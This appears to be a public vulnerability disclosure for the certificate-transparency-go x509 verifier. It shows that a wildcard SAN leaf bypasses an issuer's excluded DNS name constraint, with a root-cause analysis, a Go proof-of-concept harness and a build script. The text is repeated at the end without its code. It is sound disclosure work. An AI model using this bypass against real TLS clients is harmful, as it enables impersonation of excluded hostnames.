Summary
The github.com/google/certificate-transparency-go/x509 verifier accepts a certificate chain for a concrete DNS name that the trusted issuer explicitly excludes when the leaf reaches that name through a wildcard SAN. In the affected path, Certificate.Verify accepts *.example.com for foo.example.com, but issuer name constraints are later checked against the literal SAN string rather than the concrete peer name, so a constrained CA can authorize a hostname outside its permitted scope. We first reported this to google issues, but was told to open a public issue on this matter.
Affected
Root cause
Certificate.Verify takes the caller-supplied VerifyOptions.DNSName and, when it is non-empty, validates it before chain construction by calling VerifyHostname at x509/verify.go:774. VerifyHostname then iterates the leaf's DNSNames and returns success when matchHostnames accepts the literal SAN pattern, so *.example.com can satisfy the requested host foo.example.com at x509/verify.go:1039 and x509/verify.go:1040. After hostname acceptance, Verify builds candidate chains at x509/verify.go:785, and buildChains validates each issuer candidate through isValid at x509/verify.go:858. Issuer name-constraint checks are enabled by default for constrained roots and intermediates at x509/verify.go:616; because the leaf has a SAN extension, the code iterates the leaf SAN entries at x509/verify.go:624, enters the DNS branch at x509/verify.go:641, and passes the SAN string itself as both display value and parsed DNS name into checkNameConstraints at x509/verify.go:647. The final DNS constraint comparison is therefore between the literal wildcard domain *.example.com and the excluded constraint foo.example.com; matchDomainConstraint parses and compares those labels at x509/verify.go:466, so the concrete host accepted by wildcard matching is never rechecked against the issuer's excluded DNS constraint.
Reproduction
PoC
harness.go
package main
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"fmt"
"math/big"
"os"
"time"
ctx509 "github.com/google/certificate-transparency-go/x509"
"github.com/google/certificate-transparency-go/x509/pkix"
)
func mustKey() *ecdsa.PrivateKey {
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
panic(err)
}
return key
}
func mustCert(template, parent *ctx509.Certificate, pub any, signer any) *ctx509.Certificate {
der, err := ctx509.CreateCertificate(rand.Reader, template, parent, pub, signer)
if err != nil {
panic(err)
}
cert, err := ctx509.ParseCertificate(der)
if err != nil {
panic(err)
}
return cert
}
func main() {
now := time.Date(2026, time.January, 1, 0, 0, 0, 0, time.UTC)
rootKey := mustKey()
leafKey := mustKey()
rootTemplate := &ctx509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "excluded-name-constraint-root"},
NotBefore: now.Add(-time.Hour),
NotAfter: now.Add(time.Hour),
KeyUsage: ctx509.KeyUsageCertSign | ctx509.KeyUsageDigitalSignature,
BasicConstraintsValid: true,
IsCA: true,
ExcludedDNSDomains: []string{"foo.example.com"},
PermittedDNSDomainsCritical: true,
}
root := mustCert(rootTemplate, rootTemplate, &rootKey.PublicKey, rootKey)
leafTemplate := &ctx509.Certificate{
SerialNumber: big.NewInt(2),
Subject: pkix.Name{CommonName: "wildcard-leaf"},
NotBefore: now.Add(-time.Hour),
NotAfter: now.Add(time.Hour),
KeyUsage: ctx509.KeyUsageDigitalSignature,
ExtKeyUsage: []ctx509.ExtKeyUsage{ctx509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
DNSNames: []string{"*.example.com"},
}
leaf := mustCert(leafTemplate, root, &leafKey.PublicKey, rootKey)
roots := ctx509.NewCertPool()
roots.AddCert(root)
chains, err := leaf.Verify(ctx509.VerifyOptions{
DNSName: "foo.example.com",
Roots: roots,
CurrentTime: now,
KeyUsages: []ctx509.ExtKeyUsage{ctx509.ExtKeyUsageServerAuth},
})
if err == nil && len(chains) > 0 {
fmt.Println("CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com")
return
}
fmt.Fprintf(os.Stderr, "expected vulnerable verification success, got err=%v chains=%d\n", err, len(chains))
os.Exit(1)
}
run.sh
set -euo pipefail
script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source_dir="$script_dir/source"
UPSTREAM_REPO_URL="https://github.com/google/certificate-transparency-go"
UPSTREAM_PINNED_SHA="58b0813ac24dc59a4e6509afe2b73d31d64439a1"
_silent() {
local label="$1"; shift
local log="$script_dir/.${label}.log"
if ! "$@" > "$log" 2>&1; then
echo "[run.sh] $label failed; log follows:" >&2
cat "$log" >&2
return 1
fi
}
setup() {
if [[ -d "$source_dir/.git" ]] \
&& [[ "$(git -C "$source_dir" rev-parse HEAD 2>/dev/null)" == "$UPSTREAM_PINNED_SHA" ]]; then
echo "[run.sh] reusing existing $source_dir at $UPSTREAM_PINNED_SHA"
return 0
fi
_setup_inner() {
rm -rf "$source_dir"
mkdir -p "$source_dir"
cd "$source_dir"
git init -q
git remote add origin "$UPSTREAM_REPO_URL"
if git fetch --depth 1 origin "$UPSTREAM_PINNED_SHA" -q 2>/dev/null; then
git checkout -q FETCH_HEAD
else
cd "$script_dir"
rm -rf "$source_dir"
git clone -q "$UPSTREAM_REPO_URL" "$source_dir"
git -C "$source_dir" checkout -q "$UPSTREAM_PINNED_SHA"
fi
local head
head="$(git -C "$source_dir" rev-parse HEAD)"
if [[ "$head" != "$UPSTREAM_PINNED_SHA" ]]; then
echo "setup: HEAD=$head but expected $UPSTREAM_PINNED_SHA" >&2
exit 1
fi
}
_silent setup _setup_inner
echo "[run.sh] reproducing against $UPSTREAM_REPO_URL @ $UPSTREAM_PINNED_SHA"
}
build() {
_silent build bash -c '
set -euo pipefail
source_dir="$1"
script_dir="$2"
build_dir="$script_dir/build-scratch"
if [[ -d "$build_dir" ]]; then
chmod -R u+w "$build_dir"
fi
rm -rf "$build_dir"
mkdir -p "$build_dir/cmd/poc"
cp -R "$source_dir/asn1" "$source_dir/tls" "$source_dir/x509" "$build_dir/"
cp -R "$script_dir/inputs/xcrypto" "$build_dir/xcrypto"
cp "$script_dir/harness.go" "$build_dir/cmd/poc/main.go"
cat > "$build_dir/go.mod" <<EOF
module github.com/google/certificate-transparency-go
go 1.22
require golang.org/x/crypto v0.0.0
replace golang.org/x/crypto => ./xcrypto
EOF
cd "$build_dir"
GOTOOLCHAIN=local GOWORK=off go build -mod=mod -o "$script_dir/poc-bin" ./cmd/poc
' bash "$source_dir" "$script_dir"
}
trigger() {
_silent run "$script_dir/poc-bin"
grep -F "CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com" "$script_dir/.run.log" \
|| { echo "no reproduction proof in run output" >&2; exit 1; }
}
cmd="${1:-all}"
case "$cmd" in
setup) setup ;;
build) setup; build ;;
trigger|all|"") setup; build; trigger ;;
*)
echo "usage: $0 {setup|build|trigger|all}" >&2
exit 2
;;
esac
run with
expected:
CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com
This line is printed only when Certificate.Verify returns a non-empty valid chain for DNSName: "foo.example.com" under a trusted root whose ExcludedDNSDomains contains that same concrete host. A setup or build failure, or a verification rejection without this fingerprint, is not this bug firing.
Impact
The attacker model is a remote unauthenticated network peer that can present an attacker-controlled X.509 server certificate chain to a client application using certificate-transparency-go/x509.Certificate.Verify for TLS-style DNS identity checks. The deployment must trust a CA certificate carrying an excluded DNS name constraint for the target host, the attacker must present an otherwise valid wildcard leaf from that constrained CA, and the application must pass the intended peer name in VerifyOptions.DNSName without disabling name-constraint checks. Under those conditions, the verifier accepts a chain for a hostname the issuer was explicitly constrained not to authorize, which can let the peer impersonate that excluded DNS name to the application. The verified impact is a validator contract violation with low confidentiality and integrity impact in the audited CVSS assessment, because the local PoC proves acceptance by the verifier but does not exercise a full TLS session or application-level data flow.
Reported by Team Atlanta.
Summary
The
github.com/google/certificate-transparency-go/x509verifier accepts a certificate chain for a concrete DNS name that the trusted issuer explicitly excludes when the leaf reaches that name through a wildcard SAN. In the affected path,Certificate.Verifyaccepts*.example.comforfoo.example.com, but issuer name constraints are later checked against the literal SAN string rather than the concrete peer name, so a constrained CA can authorize a hostname outside its permitted scope. We first reported this to google issues, but was told to open a public issue on this matter.Affected
Root cause
Certificate.Verifytakes the caller-suppliedVerifyOptions.DNSNameand, when it is non-empty, validates it before chain construction by callingVerifyHostnameatx509/verify.go:774.VerifyHostnamethen iterates the leaf'sDNSNamesand returns success whenmatchHostnamesaccepts the literal SAN pattern, so*.example.comcan satisfy the requested hostfoo.example.comatx509/verify.go:1039andx509/verify.go:1040. After hostname acceptance,Verifybuilds candidate chains atx509/verify.go:785, andbuildChainsvalidates each issuer candidate throughisValidatx509/verify.go:858. Issuer name-constraint checks are enabled by default for constrained roots and intermediates atx509/verify.go:616; because the leaf has a SAN extension, the code iterates the leaf SAN entries atx509/verify.go:624, enters the DNS branch atx509/verify.go:641, and passes the SAN string itself as both display value and parsed DNS name intocheckNameConstraintsatx509/verify.go:647. The final DNS constraint comparison is therefore between the literal wildcard domain*.example.comand the excluded constraintfoo.example.com;matchDomainConstraintparses and compares those labels atx509/verify.go:466, so the concrete host accepted by wildcard matching is never rechecked against the issuer's excluded DNS constraint.Reproduction
PoC
harness.gorun.shrun with
expected:
This line is printed only when
Certificate.Verifyreturns a non-empty valid chain forDNSName: "foo.example.com"under a trusted root whoseExcludedDNSDomainscontains that same concrete host. A setup or build failure, or a verification rejection without this fingerprint, is not this bug firing.Impact
The attacker model is a remote unauthenticated network peer that can present an attacker-controlled X.509 server certificate chain to a client application using
certificate-transparency-go/x509.Certificate.Verifyfor TLS-style DNS identity checks. The deployment must trust a CA certificate carrying an excluded DNS name constraint for the target host, the attacker must present an otherwise valid wildcard leaf from that constrained CA, and the application must pass the intended peer name inVerifyOptions.DNSNamewithout disabling name-constraint checks. Under those conditions, the verifier accepts a chain for a hostname the issuer was explicitly constrained not to authorize, which can let the peer impersonate that excluded DNS name to the application. The verified impact is a validator contract violation with low confidentiality and integrity impact in the audited CVSS assessment, because the local PoC proves acceptance by the verifier but does not exercise a full TLS session or application-level data flow.Reported by Team Atlanta.